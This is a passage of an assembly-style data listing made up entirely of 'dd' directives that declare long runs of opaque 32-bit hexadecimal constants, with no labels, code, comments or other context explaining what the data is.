		dd 163159E7h, 0F26C64FCh, 93770764h, 611EE008h,	0CF058D27h
		dd 6C3F282Fh, 56FC88h, 9A0F0BBh, 26A5F13h, 5EDC15BCh, 702BDC31h
		dd 0FBF6609h, 82837459h, 433723BBh, 0E595C860h,	50CB154Bh
		dd 80069A4Ah, 38751BA3h, 0DD76BDF4h, 5E85E909h,	0DE50704Ch
		dd 2D8D8980h, 3DF30F9Dh, 1F0ACD0h, 9072C27Dh, 7BFA8A6Dh
		dd 19C89A9Ah, 15EFA5C0h, 0C0985F8Fh, 0D435C7E6h, 0D82F8F9Ah
		dd 5007C650h, 13DFB051h, 6F905F0Bh, 0DA550241h,	0EAD58501h
		dd 52A35C84h, 0FA60944Dh, 766D5379h, 25B2908Dh,	9FE519A5h
		dd 0C0F54D27h, 0FB583DD9h, 299D3309h, 0ECCCFD0Eh, 9EB84BFh
		dd 6FB76A0Fh, 0EB91018Fh, 2EA405A0h, 0A880D82Ch, 0D001F686h
		dd 2800ED71h, 46A49D76h, 5C68DD23h, 0F11799E1h,	831F9E1Dh
		dd 908DBC41h, 1774A859h, 42C9971h, 0AF10ADABh, 5E16C228h
		dd 3AB6B601h, 7C5580ADh, 2E4DEEF9h, 4EA31C13h, 70E601B0h
		dd 51DD8531h, 2071E4C6h, 7E9F1181h, 4BEC6648h, 65D9FEEDh
		dd 783E3C89h, 0F8886BEh, 5FB06FB1h, 57BAB7A0h, 0C10221FDh
		dd 685D3A03h, 0DBB05761h, 65137CF7h, 3FF5B70Fh,	41CB1680h
		dd 599D89A9h, 5B8D135Dh, 0B52C02BFh, 0D60B1B91h, 0A484FB6h
		dd 52338849h, 5B53BF80h, 3F81D18Bh, 0EE850ECFh,	4083E94Fh
		dd 0AA55E342h, 6DB6858Bh, 0E0F1FC92h, 1DCF092Bh, 5215D479h
		dd 80DD3C75h, 0D40E9933h, 0CC7E2Ah, 0F5A18719h,	5B6A6CD7h
		dd 1DEBA497h, 27CDA45Dh, 9816A9DDh, 16250Ch, 569831BDh
		dd 0F2F7B751h, 97B625Ch, 795B61DFh, 9D2982FDh, 0B157323Dh
		dd 7A511AEEh, 613A2CA2h, 31DE8B00h, 8A7101AFh, 0E9602FDDh
		dd 0BDE65262h, 30DCC17Ch, 462A3572h, 0EB7B740Ah, 4CF5E531h
		dd 493E9D09h, 0FC79F978h, 4BB7E6A0h, 1109D1A7h,	6F8A5Ch
		dd 25B1C1BFh, 3B9050F7h, 0E8E07D5Bh, 0DF5BF8B7h, 842194D0h
		dd 0C086FC8Bh, 2FEF6DB5h, 9B8E02DBh, 3C9A3F80h,	0AF16B9BFh
		dd 8DE84CE7h, 35101380h, 60389246h, 833492FBh, 0AB0900B8h
		dd 80735F59h, 0E5611F8h, 0D22B5FFCh, 57D9D42h, 0C1F80E74h
		dd 0D95C8211h, 0EF8A6041h, 0E642A420h, 61792527h, 439BB0EEh
		dd 0D603358h, 0D5266352h, 2F1CC59Ch, 3CACAB75h,	33AABA80h
		dd 8012846Bh, 0B7F20DDFh, 0C1CC9AF4h, 6B7C9FCFh, 0F2078CDh
		dd 292C0446h
		dd 0BC05D18Dh, 2727E25Dh, 2A81D223h, 342B6039h,	0D9EF00D6h
		dd 0F88B45CCh, 4FCD614Bh, 0F58B802Eh, 2FFDE1FFh, 97762528h
		dd 6B2512B9h, 282ECB8Dh, 828A782Bh, 5E46F4E3h, 4315023h
		dd 0D26D9588h, 1582481Bh, 0F6A66017h, 31DD82E0h, 49F03802h
		dd 61FCF93Eh, 63A0F17Fh, 0AFD25A8h, 154450EDh, 0F46B2061h
		dd 6D120DEFh, 51F17BCEh, 8E6E3Eh, 7CD8FF88h, 143C3F12h
		dd 9CFB8B20h, 0F49F6F12h, 0F9895C74h, 26E3362Bh, 0F798342Eh
		dd 6BAED7B4h, 0F18232Dh, 0BD853FAAh, 0B744AEE7h, 81FB90FFh
		dd 7A57561Eh, 7B3AA014h, 0C0B96DB5h, 21DDF07h, 6A13A1BCh
		dd 68C046DBh, 54DD37AEh, 1400F9Dh, 4F12AEFh, 89C92Bh, 0D3F618E7h
		dd 9B07B100h, 0F7367CFh, 51FB73D9h, 213A298Eh, 0D8751543h
		dd 811D579Eh, 39401C71h, 2D8068E6h, 49FE0493h, 0EF5B5F8Ch
		dd 29101F01h, 855B04EEh, 0F971D4C0h, 0D95F8B09h, 0B51141A6h
		dd 0AB9D4A4Dh, 7DE6A6Ah, 6358150Eh, 4A4670DBh, 803DF201h
		dd 9509FABFh, 7E699D51h, 0EE85C702h, 53E0B6B6h,	9D09B260h
		dd 7AD77548h, 0B8EFBF71h, 0B56EAF40h, 458B0A06h, 99181C5h
		dd 575E1551h, 0D4F3765Ah, 6B64D913h, 4F0029F2h,	0D2791BA7h
		dd 0A0012550h, 0D0D6C8BFh, 342FE328h, 3E6BAEBFh, 0E2001D23h
		dd 8E5A4984h, 2B31E85h,	115F2DE3h, 7DE15636h, 4FB166FCh
		dd 3154BF8Bh, 0F06098Eh, 25647188h, 1A5954D3h, 0B3027918h
		dd 5DF92DB6h, 3BE35EA5h, 6660095Eh, 0AE315325h,	0B3CDE4h
		dd 15641369h, 0CE4A5836h, 0FA750D05h, 1CEBDCE5h, 72006FC8h
		dd 0FD38A8BBh, 305055Eh, 64EA0B25h, 0A5E0FB33h,	0AD540339h
		dd 9F23C51h, 2AF8CED9h,	215678C5h, 81ACDBABh, 0F241A19Bh
		dd 25217E88h, 0E4696801h, 206FD4E6h, 8BA1859Bh,	0C61ABE02h
		dd 57468678h, 1F965280h, 600B2B38h, 4089BD29h, 24E480EEh
		dd 12A161DCh, 2BC8F1F8h, 0FFD3CBDEh, 0D7819390h, 890E0068h
		dd 0AAB0BF5Fh, 379E0791h, 94F98A89h, 0D47FBC0Dh, 0E2439A01h
		dd 810FF53Ch, 39318149h, 7B822405h, 9DBCE017h, 0F6194A11h
		dd 146AD719h, 8C0FCE05h, 9238B801h, 1D386AB7h, 4BC33E5Dh
		dd 19B84FD9h, 27F87AB8h, 6805BA0h, 61AE108Bh, 5E8E4B0Ah
		dd 0B08B26E9h, 5E16383h, 1D459362h, 8804BEA0h, 5B0421C1h
		dd 0E092A6FCh, 1762301Eh, 1079134Ch, 0D791BED7h, 5579F589h
		dd 0FF49D747h, 52E0F9CDh, 0F9C59D8h, 75C87411h,	916DE49h
		dd 0F257A568h, 0B707A03Eh, 7536909h, 37181A59h,	0AB070101h
		dd 896E0861h, 0C46E7A21h, 0D765B834h, 1EB88CBDh, 0F4B0D64Fh
		dd 0B9169705h, 9D472B6h, 0E778DD73h, 0DBA56D7Bh, 620F5081h
		dd 6FFEC104h, 5FECA27h,	55D1D1Ah, 0BE96FFACh, 60500602h
		dd 3DF48D53h, 0C1615EC0h, 1DB811Eh, 0AC622A19h,	0E381108Eh
		dd 354BA309h, 81637938h, 0A7F19DBFh, 88875B32h,	0F853C018h
		dd 9601C8FFh, 9E8DEB81h, 0BA920D22h, 4F37F7DEh,	4B3FBEh
		dd 390FD3F4h, 392C5B45h, 0B7128286h, 403AF35Fh,	224E79EFh
		dd 8101BBE7h, 9ADA26C3h, 0FE012E08h, 2C559D01h,	4F8252Eh
		dd 1231D5DCh, 5464CDB3h, 0ACE89409h, 2660CBB2h,	776F19F7h
		dd 610740B5h, 19B6A4Fh,	6561FEC1h, 5E45940h, 1D2ABFFDh
		dd 31371280h, 3913F192h, 2B0856C7h, 5FF98901h, 2080945Dh
		dd 20B06160h, 6D576295h, 0AC9AE0FCh, 0B1A00286h, 3A972AC9h
		dd 257C703Eh, 94C6EDB0h, 49858917h, 27B798C1h, 2C9A282Eh
		dd 96E8B388h, 0BADA0D8Ah, 0B8586DABh, 0BB5B0264h, 5063EA1Ch
		dd 91473557h, 7CCA801Ah, 2668DEE4h, 96795E8h, 0B27113A9h
		dd 40E74D6Bh, 74081777h, 323C1101h, 898C41B3h, 50BDF96Fh
		dd 0F392CD5Ch, 64A0CDBDh, 0B8F601Ch, 3E6A016Fh,	9E806394h
		dd 2492860h, 9BB558CEh,	69D85C61h, 560097F1h, 8F6D35F1h
		dd 54E14CE0h, 127FD904h, 0A2E2B8D0h, 71052968h,	0CC06560Ah
		dd 2C4BDC16h, 0D87DCA9Dh, 0B01D7A8h, 93237C17h,	0BFC02694h
		dd 1B7B3B83h, 0C0CF9E4Bh, 1FC5E3B9h, 9D291285h,	7312BBC9h
		dd 87D4C6B2h, 0E90B407Ah, 0C5E1D54Ah, 0B7B88F7Dh, 954DDF03h
		dd 909CEFB6h, 5D8B30E2h, 6EBD6AC1h, 0AD9E2EB9h,	0D7D1A057h
		dd 0AD9AF48h, 295F31DBh, 0EB0E16E1h, 0C22E9ED9h, 7456904Bh
		dd 0B90A5D40h, 0CD100DBh, 7F4C0E01h, 250E392Fh,	0EA08288Fh
		dd 0C911B50h, 80C0CC1Fh, 41517807h, 7009D902h, 0FB6ABA7Eh
		dd 0C65E7821h, 719E6402h, 4356EA03h, 5B0AB829h,	76C6BF6Ah
		dd 3BD9CF00h, 0C4144334h, 29F10022h, 2D186079h,	192E25DBh
		dd 0F90A800Eh, 9097F1Fh, 0F464FEEEh, 0A74DF539h, 943E10ECh
		dd 7C4605A7h, 30E21640h, 6F0A03C2h, 0F0ECB312h,	6F4BF1B8h
		dd 40770037h, 0A7FDD57Bh, 316025D9h, 5449C974h,	90616240h
		dd 10D510CAh, 0A04B00h,	422F62A5h, 71DC20EEh, 1CF71100h
		dd 0BBF48C64h, 4E9A0902h, 5AC15B4Bh, 2C61100Ch,	0D5DC1C64h
		dd 411A1FA8h, 0B7C63317h, 0DF043F6Dh, 60BB6090h, 1B498DC7h
		dd 0A061F880h, 4F7860DBh, 7B128C6Ah, 0F20EAFF6h, 2E41AECAh
		dd 0E0FC012h, 71F71D32h, 0CC1348B8h, 847DB52Dh,	6FEF6AE1h
		dd 0E56009AFh, 0A10102CAh, 2506DA1Ah, 3D7BBC58h, 31259D04h
		dd 0F216B328h, 0B1DBD1FFh, 1B8CAE97h, 7FBB04B3h, 0B827A513h
		dd 0D56AA2C5h, 0B69BA59Bh, 0BD5602CAh, 2B4F02DCh, 84504BDBh
		dd 2CF96F60h, 250973A0h, 0DD789081h, 0F810A080h, 507C4312h
		dd 0A781EBBh, 97647E3Fh, 83CC4042h, 4C4BF975h, 1324C38Eh
		dd 0DF732DC5h, 2F9CF97Ah, 0EE76D290h, 0B05BCC78h, 4F1B47AEh
		dd 0AA9590ABh, 0BD1233A4h, 0E4ED1929h, 0BD308112h, 0F0BBC046h
		dd 486B404Eh, 2226F50h,	892EB327h, 8066B72Ah, 2038018Eh
		dd 1D180806h, 2582DF05h, 0BA1C9723h, 5D4539Ch, 3DC087C2h
		dd 912BC1F9h, 2040526h,	0BFB910C5h, 5A8C14E8h, 1EB00B0Ch
		dd 2FA8C55Dh, 572DE835h, 56F6F803h, 6032CFA8h, 6A58ED79h
		dd 45B509B5h, 0BFCDFF30h, 8A8B64E3h, 0C49B5CDFh, 8178273Eh
		dd 224427Dh, 95582E1Eh,	801011E6h, 0E7B471E4h, 2E4F8A40h
		dd 60F200FDh, 0B974501Bh, 0A1125D9Dh, 0D9F0D7F3h, 5BD925C3h
		dd 106A9C8h, 0C02BB689h, 0BAEEA632h, 64A87EBFh,	582100Dh
		dd 51271162h, 0D2B20FC5h, 0AE8DC600h, 0BB311E82h, 87FF5D01h
		dd 0F3D4DDB7h, 5B253B6Ch, 0B1769CC2h, 89EC0365h, 3196F7CEh
		dd 0DC5B30A0h, 13005865h, 195FC125h, 12C63A0h, 0F3DADFCEh
		dd 60C82B46h, 4E1BD39h,	45AFF385h, 80D18BFDh, 4FDA28CDh
		dd 7392E927h, 4F0A2E78h, 795EFA09h, 0A0F9516Bh,	58CF1299h
		dd 2AC4E191h, 0B71B85E7h, 2B091A29h, 72CA49DFh,	332345B6h
		dd 0F34A005Ch, 3CD26DB6h, 0CE120BC5h, 0CFEC0A5h, 9F04F508h
		dd 97BEE9E9h, 0AC91843Dh, 0D18D9BCh, 0AA9CD7C6h, 14D51EC4h
		dd 4EBEB352h, 5189C4B0h, 0EA206295h, 99CB1246h,	10C3E659h
		dd 330B636Bh, 4B5FB19Dh, 0E15E71F8h, 0C890DB6Bh, 0BE5DC01Ah
		dd 9717CEF4h, 0DC3075D6h, 902F20h, 482C4580h, 0D4FC016Ah
		dd 0F1B9D00Bh, 0F4045E0Fh, 0E14DF31Fh, 3EAD5B03h, 0D68D92F5h
		dd 0BFA740CCh, 0B0003349h, 9D08BD3h, 0B51F0585h, 0B093A2ECh
		dd 3E409C58h, 0E6040BF6h, 0A8499D0Dh, 0FB4D8056h, 5B2256h
		dd 1E08F1F3h, 7C58283Fh, 426E9203h, 2D2917F7h, 9A02488h
		dd 69D6C381h, 893B2027h, 0F4A15427h, 37B1E300h,	0DA602B86h
		dd 6A59241Eh
		dd 1B3109A4h, 91631F77h, 7DFA8515h, 0DF4E7440h,	98C45Ah
		dd 6AD4CE73h, 0A2C70555h, 12173105h, 0DCBC3278h, 3DDDD680h
		dd 0C9032CB4h, 0F2EC95E3h, 0B037DB59h, 174A6968h, 15D9225h
		dd 5F6AEA9Ah, 0DEDF6B5Bh, 6BC316C8h, 6EABFC03h,	61C01231h
		dd 7B419409h, 99BB8188h, 6B36D675h, 8807EAD8h, 0A6E43429h
		dd 0DE1CB112h, 233F6BEEh, 0DE280F1Bh, 8E138BC0h, 2BB1B55Ch
		dd 4E86B081h, 2B2FB2A2h, 0B5890B88h, 0BD7B696Dh, 50CD926Eh
		dd 0FD852AC9h, 70282F5Bh, 2A5CB572h, 0CA3F09F4h, 722BFCC9h
		dd 2F45E5Ch, 3EB8ABEh, 87FE5CA4h, 9E9EC625h, 0ADE1128Fh
		dd 907B826h, 67D780F9h,	0BC46BB79h, 0E223AD4Dh,	0CC5EAC13h
		dd 4785AD51h, 53ED9D23h, 694504C3h, 0A3D2BCEBh,	942F5060h
		dd 166778C1h, 81B1BD01h, 0E2C380A2h, 5F2DA35Eh,	0EA01A892h
		dd 2F637CD7h, 7AFC8B09h, 0DEDC5E63h, 7D17C9CEh,	0B8D2682h
		dd 61683A57h, 0B62EDB4Eh, 29950843h, 0E590171Ah, 6608AFB7h
		dd 4E0483BDh, 0C043A804h, 0B371CD8h, 0D18100B7h, 67E84A7Ah
		dd 83006AB2h, 1E0EF0Ah,	0B8906E9Ah, 8C3EF7C2h, 1C9E1733h
		dd 760AC07Bh, 5B890968h, 21783991h, 8E7758F2h, 890F98BFh
		dd 236D25BDh, 0BF0400EEh, 21483D87h, 0D6DFB8h, 2D63761Eh
		dd 924E974h, 28F61C02h,	22B3E08Ah, 39EC2699h, 851EA4BDh
		dd 0C80D8FBAh, 0C7C0CF1Dh, 10CD591Bh, 0ABB1AF1Dh, 25DFC6E5h
		dd 0B0CD9AB7h, 0DCB5ADh, 0EF120C2Ch, 0BB0B8E38h, 224CBB0h
		dd 0E186951h, 64D406C9h, 2B291612h, 35077823h, 922941C6h
		dd 0F3DD4689h, 0DC5C70BCh, 0B0906D2Ah, 85102A42h, 0DDFC4A01h
		dd 12C735C0h, 0F23953C8h, 0BE6080E6h, 66C01F74h, 270E63E9h
		dd 0BFFD578Dh, 61C914A2h, 0CDF52B75h, 7D7BC0A8h, 0A54B07ABh
		dd 0EFDBE85h, 0E05809ECh, 0C1853E03h, 29D6302Ah, 0C40FD95h
		dd 3F460468h, 8151D704h, 215F57D4h, 87FC38D2h, 71D01E13h
		dd 0FC603Dh, 53CAC985h,	0AEA27274h, 0E11CA94Fh,	0B9DAC0E5h
		dd 291A25C4h, 0E350CCC5h, 66481298h, 0A1CE0CDBh, 0FC9190B1h
		dd 4CD80BBh, 0EA781AB0h, 0A2E30060h, 0C5BCB975h, 503A3D92h
		dd 0A79026B7h, 7378E209h, 181559DFh, 60D62D3Dh,	0D8799164h
		dd 0E11F8100h, 0B8F6FF06h, 610D3131h, 0D6111D72h, 0C08AED57h
		dd 1518F866h, 9233823Bh, 1F2FC7Ah, 0AC01B7C4h, 0FC3EA2D7h
		dd 0CE01F68Ch, 0DF1934D9h, 0C27A233Fh, 0F70B1DE5h, 8F0F3968h
		dd 0E03374BDh, 0B0F0492Ah, 0E7C8D625h, 310B5C01h, 5723358Dh
		dd 5CE1726Dh, 8338DC8Dh, 44A15480h, 8700342Fh, 6E785ED2h
		dd 539E128h, 0B08280D7h, 19DD8168h, 4ACE6B30h, 0E344C13Ah
		dd 0F0F53629h, 223B066h, 0F2B5EB81h, 0CC57284Ah, 7E144546h
		dd 6006CFCh, 0F36E26Dh,	991E7582h, 0BDC1DD68h, 232FC9D0h
		dd 0F9B5742Eh, 2F9A8CFh, 84CEBBCDh, 2D5C5EEDh, 20AE5664h
		dd 602458CCh, 5B2D1D1Ch, 98A2C665h, 0CA714DAEh,	115B9624h
		dd 54EE0013h, 7B759478h, 5CA200C8h, 6906B3C9h, 290BCD68h
		dd 87DB960Dh, 50105F0Ah, 77D759BFh, 0DB7BF955h,	9C5F8002h
		dd 549FF7Fh, 93F4A973h,	40B064F5h, 65EF7568h, 495F6CEh
		dd 5F090ABEh, 4902B873h, 3048F83Dh, 23E29D89h, 0A5405397h
		dd 68569942h, 91FB5B2Dh, 0DE129ED9h, 686D6DE1h,	732738B8h
		dd 0F4E1106Eh, 72190371h, 15695D55h, 22DE1EB0h,	4D960B97h
		dd 0C0BBC123h, 1B0C5E1h, 0BF002D29h, 2A2542E0h,	81BBC628h
		dd 2EEF989h, 0BD5CF7B7h, 0F96A3E6Dh, 6EFE5E46h,	6C61C13h
		dd 2B0D5C84h, 0E112AFECh, 0D797B210h, 4DA099F6h, 0CCBF35BAh
		dd 0A5B5106Bh, 0E050282Fh, 530EFE5Dh, 0D3A8006Eh, 87EFA7E3h
		dd 68120027h, 0BB8AEE0Ch, 0ED0B56FCh, 247B9223h, 5F0B26E3h
		dd 0BB0553D3h, 2ABA7B77h, 63E680DCh, 2AD7FDAh, 85D5D31Ah
		dd 0BCC0FB8Bh, 0CE9532EDh, 18BF0469h, 0B8507C68h, 2C1EA2D2h
		dd 941D1B6h, 76081891h,	84498C5Eh, 8BD90256h, 0D08DACD8h
		dd 0CA6BF79Ah, 99EAA411h, 0BE302B5Fh, 52E18501h, 0F096FC18h
		dd 0CE95220Ah, 0DC63BC44h, 0F126C0Ch, 880DFA2Eh, 0F6018160h
		dd 6EDF515h, 1D5C8B8h, 282E61C5h, 32D6918Ch, 0BDBC37BDh
		dd 9D700E1Ch, 720410D6h, 600216ADh, 7E52B52Bh, 0E4D18101h
		dd 6159621Eh, 0A9B1742Eh, 464A868h, 0E9CB39EDh,	1895400Ch
		dd 9E648h, 0F717BCA3h, 0C6BB6052h, 43A26FBFh, 0D4127808h
		dd 0B5E31E71h, 0B82BA9D6h, 39B7EEEh, 9E067F6h, 0B8A4E9D5h
		dd 39255AD2h, 520A6AFh,	800FC18Bh, 0C94AC5B2h, 22937C8Ah
		dd 75029201h, 46071FAh,	0D98A5E51h, 0B811A561h,	601BA02Eh
		dd 1BB145Fh, 60616B99h,	0E6FCB656h, 64951708h, 0C8F8F2AFh
		dd 592DFB5Ch, 857BAD1Dh, 0B75F06BCh, 128E615Ah,	0AA1AF8BBh
		dd 93004B6Fh, 83F79EB2h, 5905DB01h, 0BD23C60Dh,	17F1B2EFh
		dd 0FAFCF1B7h, 385714DAh, 950775FEh, 60A11557h,	955CEE06h
		dd 0D6EB0F04h, 0C1ACCD61h, 4BBD2BC7h, 44D184C9h, 0AAD9C5A4h
		dd 0D574A738h, 0ABBC855Bh, 48E7A700h, 26A6FB7h,	228BB5F5h
		dd 0D0E2504Dh, 39C61C5h, 0F8250773h, 1859745Bh,	42F85618h
		dd 0E92534E0h, 8AD6780h, 467CFCC0h, 94F7001Dh, 0E20B0CAh
		dd 93C0017Dh, 0A19D03A3h, 80A56D11h, 0DD428C2Ah, 9C802571h
		dd 0DFCB006Dh, 0C63599C0h, 0A0B28B4Ah, 96879A92h, 5E6C80EBh
		dd 0BBA1DEFFh, 5A5790h,	0CB344314h, 5012C81Bh, 58E19421h
		dd 52C756C2h, 302804F7h, 4A5A1ACh, 0ADE65EC8h, 8C1DAC83h
		dd 0AD88DD04h, 81EAC43Dh, 80F6DA31h, 6A69EF5Eh,	5ACB80FFh
		dd 24E9E0D0h, 4A79B588h, 800C9E2Ah, 7243AA2Ah, 21AB2547h
		dd 97EF916Ch, 48AC602Bh, 64D8A225h, 8CE7316Fh, 0BAB00261h
		dd 0CC1201Bh, 0BD9D0195h, 0E30915F9h, 2985ADBCh, 0E3899DD3h
		dd 4A895817h, 2E86C9F5h, 2BBE1CCh, 0C60194A4h, 0DC604955h
		dd 889548B7h, 791CCB72h, 166C6425h, 0B1C82BFCh,	33D1FC72h
		dd 8359D13h, 2291EC22h,	0ED9090E9h, 4C714485h, 8D4B2A90h
		dd 69D29496h, 4A50C329h, 0BBBF660Dh, 0F2960EEDh, 0BF22138Dh
		dd 20139C32h, 5FE9D1B7h, 68C119Fh, 84258913h, 0B6356E19h
		dd 720309EFh, 3F163459h, 9500E8E7h, 79F363F5h, 6EB54B3Ah
		dd 0B40B44F8h, 9B0054F6h, 6621085Ah, 623B7952h,	0E31D260h
		dd 445B5107h, 615E2E32h, 128421A4h, 1052B6F5h, 0A140735Ch
		dd 9544976Dh, 2F95CEC4h, 0A81DBD45h, 6AAE5BBFh,	61D84B45h
		dd 0CAB505DAh, 163D0FF7h, 0B9E6F4B5h, 2312D45Ah, 970114A0h
		dd 8B3BACD9h, 0E40EDF80h, 0EDE19563h, 0D22B002Ah, 0DD32580h
		dd 0B7896047h, 0C03DCD32h, 6757D411h, 0C1AB4B4Ah, 2A84B359h
		dd 0DBEB4756h, 107804Ch, 0B5311985h, 0F9F793BAh, 9ABB84B1h
		dd 0D362A9E4h, 4C057F6Bh, 1763320Ch, 10895E5h, 0DB80DAA5h
		dd 9CF23B6Bh, 48C18ECh,	34E42269h, 0B2B23Ah, 15C5912Dh
		dd 0B4C8ADh, 72E0AA49h,	0D6748776h, 9398E40Ch, 9AE5ACBBh
		dd 9B5B4ACCh, 0F576842Dh, 8CA2A9A8h, 0F8AA5624h, 0F8A8920Ah
		dd 0E1D7A6D2h, 0B6915C2Dh, 7EA75AF5h, 83A19A4Ah, 0F0BB5B6Ah
		dd 0B1E4AF3h, 0E1FF5A24h, 3C701F5Bh, 18B29F8Bh,	210FF2A4h
		dd 0CE6A0AFDh, 95C522A3h, 0FB47E8C0h, 2FAB1495h, 9BDB04CEh
		dd 25C1D0h, 2B235447h, 0B70FE2AFh, 0C78AD84Ah, 0E6666534h
		dd 4F14F038h, 0A82F0C88h, 27CCEB7Ah, 3B5EB9ECh,	9DD330FAh
		dd 60810725h, 0AC57E97Bh
		dd 3D9D01D9h, 258D47F4h, 11132B9Bh, 8A17012h, 0BAC2685Bh
		dd 2556DE8Bh, 0F6017A88h, 0EDF85A2Fh, 63186496h, 0AAFAC0B7h
		dd 9C5750F3h, 5B4FC0F1h, 0B9AD87BFh, 1BE6205Ah,	60301BB2h
		dd 0BB474CAh, 14893FC5h, 0CC0154F9h, 84CBD04Fh,	2728D6CCh
		dd 176490B9h, 4791FF03h, 0D02A9280h, 2FA672B0h,	9110A774h
		dd 9A048212h, 5F57C021h, 0BF0509E2h, 0A85D102Ch, 0DF166070h
		dd 0BA49768h, 5250E522h, 310F7C82h, 4D00AE71h, 0E886E2DDh
		dd 5B6C5CF3h, 0D7A7DB02h, 0C5F8585Ah, 0FC5F6802h, 7796B31Ah
		dd 1B64176Dh, 0D7D15460h, 0A16AE805h, 69A57902h, 6F93F378h
		dd 0C0FF007Ah, 0BB5A8405h, 79312DACh, 44EA25E4h, 0EC70B700h
		dd 55745CFFh, 0F14505EFh, 12890FCAh, 4A02EC34h,	1B88C39Ah
		dd 4662B2C0h, 3AA90041h, 9D09F09Bh, 1851ED9h, 0AEB28ABFh
		dd 0A5757053h, 88B71E4Ah, 0B4B54A7Ch, 884A0FEAh, 0B3A8FE24h
		dd 1E293h, 6B5D8F80h, 10FABEh, 625AF5F2h, 4594885Eh, 0EE53449Fh
		dd 8C2F00CCh, 0B2BF5FD1h, 0F764B3Eh, 29C75B95h,	3600B856h
		dd 72D9E49Dh, 0B5133415h, 0BF8C0689h, 0EDBD122Bh, 92EDE224h
		dd 0F30235D9h, 8D82D546h, 2451E969h, 407EB70Eh,	0C01BF07Ah
		dd 0B2604B50h, 69720F78h, 2F900DCh, 3AB24161h, 5BA460B4h
		dd 7DE46088h, 873EC32Eh, 9DDECABBh, 22EFB3C7h, 0C62266Ch
		dd 355AA8D7h, 0AF92080h, 9573CB3Dh, 0BDDFAE89h,	53D807Eh
		dd 2B8CC93Fh, 4B402649h, 3C5B4AE0h, 0D11F68DEh,	0C7E814ECh
		dd 55524A80h, 0F00AFC3Dh, 0A703B5ADh, 5C32E91Ah, 0D248024Ah
		dd 0E7F30FF3h, 1CA07270h, 0A5BD0982h, 0C052BC89h, 1DF47E96h
		dd 5C1CF8DAh, 0E34B127Fh, 0BD010420h, 500C07A5h, 0E197F5CAh
		dd 616624F1h, 0B0CBBCF0h, 6982BB05h, 0FE97B90Ch, 5DCA5F34h
		dd 0FE3FFF5Eh, 0DB614B17h, 0AB18060h, 0B5587B65h, 942F59C7h
		dd 0E14C70CEh, 0B8D9FD6Fh, 0F16C0174h, 9A0E27F3h, 96F53FA5h
		dd 106EFA2Ah, 0C980640Bh, 134A5BD0h, 1BACDB3h, 7861D381h
		dd 46F52FFh, 0ACE3D164h, 0EA0DA296h, 80E3B7D0h,	0BB2D78F3h
		dd 0EF06CB69h, 1C0D9D31h, 5FB8985Eh, 5BDF4ABDh,	3D058F4h
		dd 19F02381h, 0EB27BE1Ch, 2C4AF950h, 0E4C64B7h,	0AE16CD12h
		dd 1D23156Fh, 0F8367500h, 0F08B19C8h, 2BDC2672h, 250D0802h
		dd 0A7535325h, 7840C0EDh, 33E6F9Fh, 0D27B6747h,	0C4279BAAh
		dd 49C0D9B1h, 224000D8h, 0C24E05BBh, 0BE966A42h, 0DB43B51Eh
		dd 0CD5961FDh, 0E3819560h, 545C16AFh, 0D2B7AD76h, 0A500246Bh
		dd 69BE009h, 61059281h,	22A1BD23h, 7338B829h, 9D7D0D80h
		dd 7F02D4B9h, 0B393D0E7h, 60CA5630h, 490EEF81h,	27789F23h
		dd 4E701DDBh, 878A1462h, 913A4D8h, 2BCB9C33h, 3413DB8h
		dd 89F1032Ah, 0ABEC81BDh, 0DB715E27h, 7ED9E967h, 0A89B7E19h
		dd 7F7D67C0h, 26F0CDD6h, 4DBB6609h, 2FC259DFh, 39E1B75Dh
		dd 0C6163C09h, 0C3C9A806h, 8C014AD5h, 4F6D1EF5h, 50DFA72Dh
		dd 5189082Fh, 3322BA2Ah, 5C37E25Bh, 0C59C40BCh,	613FC232h
		dd 8EE80081h, 771F67EBh, 8D011DFDh, 9B0BEF2Fh, 95D3412h
		dd 0D6605C1Fh, 0F24B1946h, 5008277Ch, 0DD1F4AA7h, 3CCD6A98h
		dd 9206AC7Eh, 0EE929FA2h, 0E1DBC352h, 21D99581h, 52E39A50h
		dd 0C5F9DD52h, 79B95B44h, 7C8C1DACh, 3A5003D4h,	807909ECh
		dd 5E074C2h, 9A95E2F6h,	358A02B8h, 4BB75501h, 0EF9C1491h
		dd 7C1792DFh, 0A3284017h, 0E54A914Dh, 7ABBDED5h, 0C8860989h
		dd 35678247h, 8DC50E14h, 2AB7B1D5h, 947BD629h, 0B815ADCAh
		dd 3A161228h, 0DEEDC872h, 25E4D900h, 844AEECCh,	3AFB12F1h
		dd 0AC82ADE5h, 217E8C18h, 0B70A9B12h, 0FC1CD488h, 8A5A014Dh
		dd 701E336Fh, 47042B0Dh, 7E5C063Dh, 2DD9BD9Ch, 2DC6C069h
		dd 0BC7EE9B5h, 0B0E40434h, 4D84CC3Ah, 0CCAE7E17h, 95E9D1Ah
		dd 61BDA790h, 90DDF01h,	0FF590C5Dh, 0D59531E2h,	83E948E8h
		dd 5E28995h, 39F1E103h,	0DCF66Ah, 0E419EB38h, 0BF765565h
		dd 6869E3F4h, 2609745h,	0FCDE1096h, 0FE551F6Bh,	0B290935Bh
		dd 0FAF200B8h, 18C913DCh, 221004Ch, 8BC744F9h, 791F8A74h
		dd 0ECB0B43h, 0DC401A50h, 0B270E091h, 0ED95908Dh, 5312C040h
		dd 504B3ADCh, 0BF8326B0h, 0CD5FA5C6h, 0ABE56125h, 73F968A5h
		dd 0E78010B0h, 0BB85A00Ah, 6F2AED0Bh, 2B0E000Bh, 0E8E9B428h
		dd 570A971Ch, 34142CA6h, 1830AB6Ch, 70B1B2h, 0CDADD806h
		dd 2B4C1A1Ch, 9FB46601h, 501315CBh, 2D08D091h, 252BC651h
		dd 337905Bh, 54517500h,	5A7DBAC5h, 56D30ED4h, 3050748Dh
		dd 0CA76D285h, 8B72B7BFh, 0ECD7F892h, 119D3879h, 52362BC5h
		dd 4EE3007Eh, 0D1FF1234h, 4B12DDBBh, 51E26BB3h,	8B822888h
		dd 0FC026AD9h, 982A0968h, 0B3F9C960h, 2CB50188h, 52AF230Dh
		dd 9F008F59h, 0DE013CAEh, 9765FEA3h, 0C548051Ch, 36DB4A06h
		dd 0A8DC29C0h, 0AD989201h, 0D332D125h, 80F4D285h, 555978E7h
		dd 2BA102B5h, 7DBD2A80h, 183B4Dh, 0BCB760FEh, 9082D380h
		dd 3540AC9Eh, 1E0CFAC2h, 0C440F560h, 0BF905075h, 0AE00FA6Eh
		dd 7BE6ED6h, 3409BB1Eh,	7322623Eh, 15912719h, 32AD7BEEh
		dd 8011521Ch, 0FA5178Ah, 9095FA7Bh, 0FE3F9D76h,	167A0455h
